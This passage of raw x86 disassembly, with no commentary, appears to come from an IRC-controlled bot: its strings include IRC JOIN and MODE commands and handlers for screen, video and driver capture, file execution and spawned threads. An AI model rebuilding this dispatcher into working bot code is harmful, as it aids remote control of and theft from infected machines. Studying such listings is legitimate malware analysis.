jnz short loc_408403 mov [ebp+var_638], 5 loc_408403: ; CODE XREF: sub_401ACD+692Bj cmp [ebp+var_C], ebx jz loc_406CDE push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDE lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2651BF2h test eax, eax jnz short loc_40844C push offset unk_429FE0 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40844C: ; CODE XREF: sub_401ACD+6973j push edi push offset dword_429FC4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408457: ; CODE XREF: sub_401ACD+4ACBj ; sub_401ACD+4AE2j push edi push offset aDark ; "Dark" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D0 lea eax, [ebp+var_48F0] push eax push 104h nop call near ptr 2690000h push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD80 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084EC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F2 ; --------------------------------------------------------------------------- loc_4084EC: ; CODE XREF: sub_401ACD+6A09j mov [ebp+var_23C0], ebx loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408509 push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_40850F ; --------------------------------------------------------------------------- loc_408509: ; CODE XREF: sub_401ACD+6A2Bj mov [ebp+var_23C4], ebx loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_429F8C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4085BF loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j cmp [ebp+var_23B0], ebx jnz loc_406CDE push 32h nop call near ptr 2670000h jmp short loc_4085A9 ; --------------------------------------------------------------------------- loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj nop call near ptr 26709C5h push eax push offset dword_429F50 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_401ACD+6999j push offset dword_429F08 loc_4085D5: ; CODE XREF: sub_401ACD+2E73j ; sub_401ACD+457Cj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDE ; --------------------------------------------------------------------------- loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj ; sub_401ACD+4AB4j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408673 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax nop call near ptr 2670000h loc_408673: ; CODE XREF: sub_401ACD+6B8Ej push offset dword_429EE4 call sub_4151AC mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401ACD+4A6Fj ; sub_401ACD+4A86j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408745 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_429ECC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408745: ; CODE XREF: sub_401ACD+6BFAj push offset unk_429E98 loc_40874A: ; CODE XREF: sub_401ACD+7542j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408759: ; CODE XREF: sub_401ACD+74CAj ; sub_401ACD+7623j cmp [ebp+var_8], ebx jnz short loc_40877A push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj ; sub_401ACD+72C7j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_409853 ; --------------------------------------------------------------------------- loc_40878B: ; CODE XREF: sub_401ACD+4A41j ; sub_401ACD+4A58j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_429E64 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset byte_4143CB push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40884B loc_408839: ; CODE XREF: sub_401ACD+6D7Cj cmp [ebp+var_2088], ebx jnz short loc_408866 push 32h nop call near ptr 2670000h jmp short loc_408839 ; --------------------------------------------------------------------------- loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj call near ptr 26709C5h nop push eax push offset unk_429E28 loc_408857: ; CODE XREF: sub_401ACD+6E89j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408866: ; CODE XREF: sub_401ACD+6D72j ; sub_401ACD+6E6Dj cmp [ebp+var_8], ebx jnz loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409628 ; --------------------------------------------------------------------------- loc_408886: ; CODE XREF: sub_401ACD+4A13j ; sub_401ACD+4A2Aj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_429DFC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset byte_413B77 push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40894A loc_408934: ; CODE XREF: sub_401ACD+6E7Bj cmp [ebp+var_221C], ebx jnz loc_408866 push 32h nop call near ptr 2670000h jmp short loc_408934 ; --------------------------------------------------------------------------- loc_40894A: ; CODE XREF: sub_401ACD+6E65j call near ptr 26709C5h nop push eax push offset dword_429DC0 jmp loc_408857 ; --------------------------------------------------------------------------- loc_40895B: ; CODE XREF: sub_401ACD+49E5j ; sub_401ACD+49FCj push edi lea eax, [ebp+var_2C4] push offset dword_429DB8 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408978: ; CODE XREF: sub_401ACD+6F16j test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 loc_408994: ; CODE XREF: sub_401ACD+7A55j lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C jmp loc_404933 ; --------------------------------------------------------------------------- loc_4089BF: ; CODE XREF: sub_401ACD+49B7j ; sub_401ACD+49CEj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_429DA4 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408978 ; --------------------------------------------------------------------------- loc_4089E5: ; CODE XREF: sub_401ACD+4989j ; sub_401ACD+49A0j push edi lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409854 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push edi push esi push offset dword_429D88 loc_408A4B: ; CODE XREF: sub_401ACD+7009j ; sub_401ACD+7078j ... call sub_415220 jmp loc_404933 ; --------------------------------------------------------------------------- loc_408A55: ; CODE XREF: sub_401ACD+495Bj ; sub_401ACD+4972j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A84 push esi lea eax, [ebp+var_2C4] push offset dword_429D80 push eax call sub_41B886 add esp, 0Ch loc_408A84: ; CODE XREF: sub_401ACD+6FA0j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D64 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408ADB: ; CODE XREF: sub_401ACD+492Dj ; sub_401ACD+4944j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push esi push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D48 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408B4A: ; CODE XREF: sub_401ACD+48FFj ; sub_401ACD+4916j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset unk_429D20 jmp loc_40984D ; --------------------------------------------------------------------------- loc_408B86: ; CODE XREF: sub_401ACD+48D1j ; sub_401ACD+48E8j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_429D14 push [ebp+arg_4] call sub_409A2C push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax call near ptr 2670000h nop push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_429D00 call sub_4151AC jmp loc_40351F ; --------------------------------------------------------------------------- loc_408BEA: ; CODE XREF: sub_401ACD+48A3j ; sub_401ACD+48BAj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push esi lea eax, [ebp+var_2C4] push offset dword_42A434 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 20h push esi push [ebp+arg_10] push offset unk_429CE4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408C57: ; CODE XREF: sub_401ACD+4875j ; sub_401ACD+488Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 14h push esi push [ebp+arg_10] push offset unk_429CC4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408CAC: ; CODE XREF: sub_401ACD+4847j ; sub_401ACD+485Ej cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B4 pop ecx pop ecx push [ebp+arg_10] push offset unk_429CA4 loc_408CDB: ; CODE XREF: sub_401ACD+5852j ; sub_401ACD+7B2Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_40960F ; --------------------------------------------------------------------------- loc_408CEF: ; CODE XREF: sub_401ACD+4819j ; sub_401ACD+4830j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E1 jmp loc_4040FC ; --------------------------------------------------------------------------- loc_408D09: ; CODE XREF: sub_401ACD+47DBj ; sub_401ACD+47F0j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409854 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB1 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_429C7C push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877A ; --------------------------------------------------------------------------- loc_408D99: ; CODE XREF: sub_401ACD+726Fj lea eax, [ebp+var_2C4] push offset unk_429C4C push eax call sub_41B886 pop ecx pop ecx jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DB1: ; CODE XREF: sub_401ACD+725Aj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_429C30 push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DFD: ; CODE XREF: sub_401ACD+47B1j ; sub_401ACD+47C6j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E58 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E45 push edi call sub_4153BC cmp eax, 1 pop ecx jnz short loc_408E3E push edi lea eax, [ebp+var_2C4] push offset unk_429BFC push eax call sub_41B886 add esp, 0Ch jmp short loc_408E58 ; --------------------------------------------------------------------------- loc_408E3E: ; CODE XREF: sub_401ACD+7358j push offset unk_429BCC jmp short loc_408E4A ; --------------------------------------------------------------------------- loc_408E45: ; CODE XREF: sub_401ACD+734Cj push offset unk_429B90 loc_408E4A: ; CODE XREF: sub_401ACD+7376j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E58: ; CODE XREF: sub_401ACD+7341j ; sub_401ACD+736Fj push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE5 xor edi, edi loc_408E6D: ; CODE XREF: sub_401ACD+7403j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CAFA4 test eax, eax jz short loc_408ECC lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_429B60 push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h loc_408ECC: ; CODE XREF: sub_401ACD+73C1j inc edi cmp edi, 0Ah jl short loc_408E6D lea eax, [ebp+var_2C4] push offset unk_429B38 push eax call sub_41B886 pop ecx pop ecx loc_408EE5: ; CODE XREF: sub_401ACD+739Cj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F86 cmp [ebp+esi+var_88], ebx jz short loc_408F73 cmp [ebp+esi+var_84], ebx jz short loc_408F73 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F73 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F73 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F7 add esp, 10h test eax, eax jnz short loc_408F6C push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_429B04 push eax call sub_41B886 add esp, 0Ch jmp short loc_408F86 ; --------------------------------------------------------------------------- loc_408F6C: ; CODE XREF: sub_401ACD+7480j push offset unk_429AD0 jmp short loc_408F78 ; --------------------------------------------------------------------------- loc_408F73: ; CODE XREF: sub_401ACD+7436j ; sub_401ACD+743Fj ... push offset unk_429A98 loc_408F78: ; CODE XREF: sub_401ACD+74A4j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F86: ; CODE XREF: sub_401ACD+7429j ; sub_401ACD+749Dj push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408759 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901E mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901E mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901E mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901E mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901E push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F0 add esp, 14h test eax, eax jnz short loc_409014 push [ebp+arg_1C] push offset unk_429A64 jmp loc_40874A ; --------------------------------------------------------------------------- loc_409014: ; CODE XREF: sub_401ACD+7538j push offset unk_429A24 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_40901E: ; CODE XREF: sub_401ACD+74DCj ; sub_401ACD+74EAj ... push offset unk_4299E4 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_409028: ; CODE XREF: sub_401ACD+4041j ; sub_401ACD+4056j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409098 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409053: ; CODE XREF: sub_401ACD+75B5j test eax, eax jz short loc_409084 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409053 ; --------------------------------------------------------------------------- loc_409084: ; CODE XREF: sub_401ACD+7588j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_4299C0 jmp loc_409226 ; --------------------------------------------------------------------------- loc_409098: ; CODE XREF: sub_401ACD+756Ej push [ebp+arg_10] push offset unk_42999C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+4017j ; sub_401ACD+402Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push offset asc_429998 ; "\n" push esi call sub_41BEC0 push esi call sub_419A50 add esp, 0Ch test eax, eax jnz short loc_4090F5 push offset unk_42996C loc_4090E2: ; CODE XREF: sub_401ACD+754Cj ; sub_401ACD+7556j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_408759 ; --------------------------------------------------------------------------- loc_4090F5: ; CODE XREF: sub_401ACD+760Ej push esi lea eax, [ebp+var_2C4] push offset dword_429954 push eax call sub_41B886 add esp, 0Ch jmp loc_40877A ; --------------------------------------------------------------------------- loc_40910F: ; CODE XREF: sub_401ACD+3FEDj ; sub_401ACD+4002j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409854 push eax call sub_418211 test eax, eax pop ecx jnz short loc_40913F push offset unk_429934 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_40913F: ; CODE XREF: sub_401ACD+7669j push offset dword_429918 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_409146: ; CODE XREF: sub_401ACD+3FC3j ; sub_401ACD+3FD8j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409177 push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409177: ; CODE XREF: sub_401ACD+7696j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_429900 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F6 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB5 push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40921A loc_409204: ; CODE XREF: sub_401ACD+774Bj cmp [ebp+var_1EF4], ebx jnz loc_406CFF push 32h nop call near ptr 2670000h jmp short loc_409204 ; --------------------------------------------------------------------------- loc_40921A: ; CODE XREF: sub_401ACD+7735j call near ptr 26709C5h nop push eax push offset unk_4298C0 loc_409226: ; CODE XREF: sub_401ACD+29CEj ; sub_401ACD+75C6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406CFF ; --------------------------------------------------------------------------- loc_40923A: ; CODE XREF: sub_401ACD+3F99j ; sub_401ACD+3FAEj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96A add esp, 10h push [ebp+arg_10] push offset dword_4298A8 jmp loc_40984D ; --------------------------------------------------------------------------- loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj ; sub_401ACD+3F84j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_1 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_429884 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset loc_415E1A push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_409325: ; CODE XREF: sub_401ACD+786Cj cmp [ebp+var_1BA0], ebx jnz loc_4083BC push 32h call near ptr 2670000h nop jmp short loc_409325 ; --------------------------------------------------------------------------- loc_40933B: ; CODE XREF: sub_401ACD+3F45j ; sub_401ACD+3F5Aj push [ebp+arg_10] call near ptr 2670219h nop test eax, eax jz short loc_409366 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429868 push 200h push eax call sub_41B980 jmp loc_409444 ; --------------------------------------------------------------------------- loc_409366: ; CODE XREF: sub_401ACD+7879j push offset dword_42A070 call sub_41814C pop ecx push eax jmp loc_403F47 ; --------------------------------------------------------------------------- loc_409377: ; CODE XREF: sub_401ACD+3F1Bj ; sub_401ACD+3F30j push [ebp+arg_10] call sub_41B779 push eax call sub_4199C9 pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409398 push offset unk_429844 jmp short loc_40939D ; --------------------------------------------------------------------------- loc_409398: ; CODE XREF: sub_401ACD+78C2j push offset unk_429814 loc_40939D: ; CODE XREF: sub_401ACD+78C9j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D02 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j ; sub_401ACD+3F06j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BC add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FC push offset unk_4297F4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4093FC: ; CODE XREF: sub_401ACD+7923j push offset unk_4297C4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_409406: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDCj mov esi, [ebp+arg_10] push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944C push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_409467 push dword ptr [eax] loc_409432: ; CODE XREF: sub_401ACD+7998j push esi lea eax, [ebp+var_2C4] push offset unk_4297A4 push eax call sub_41B886 loc_409444: ; CODE XREF: sub_401ACD+7894j add esp, 10h jmp loc_406CDE ; --------------------------------------------------------------------------- loc_40944C: ; CODE XREF: sub_401ACD+794Cj push esi call dword_4CAFF8 cmp eax, ebx jz short loc_409467 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB000 push eax jmp short loc_409432 ; --------------------------------------------------------------------------- loc_409467: ; CODE XREF: sub_401ACD+7961j ; sub_401ACD+7988j push offset unk_42977C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_409471: ; CODE XREF: sub_401ACD+3E9Dj ; sub_401ACD+3EB2j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429754 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40948E: ; CODE XREF: sub_401ACD+3E73j ; sub_401ACD+3E88j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax jz short loc_4094B2 push offset unk_429734 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094B2: ; CODE XREF: sub_401ACD+79D9j push offset unk_429710 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094BC: 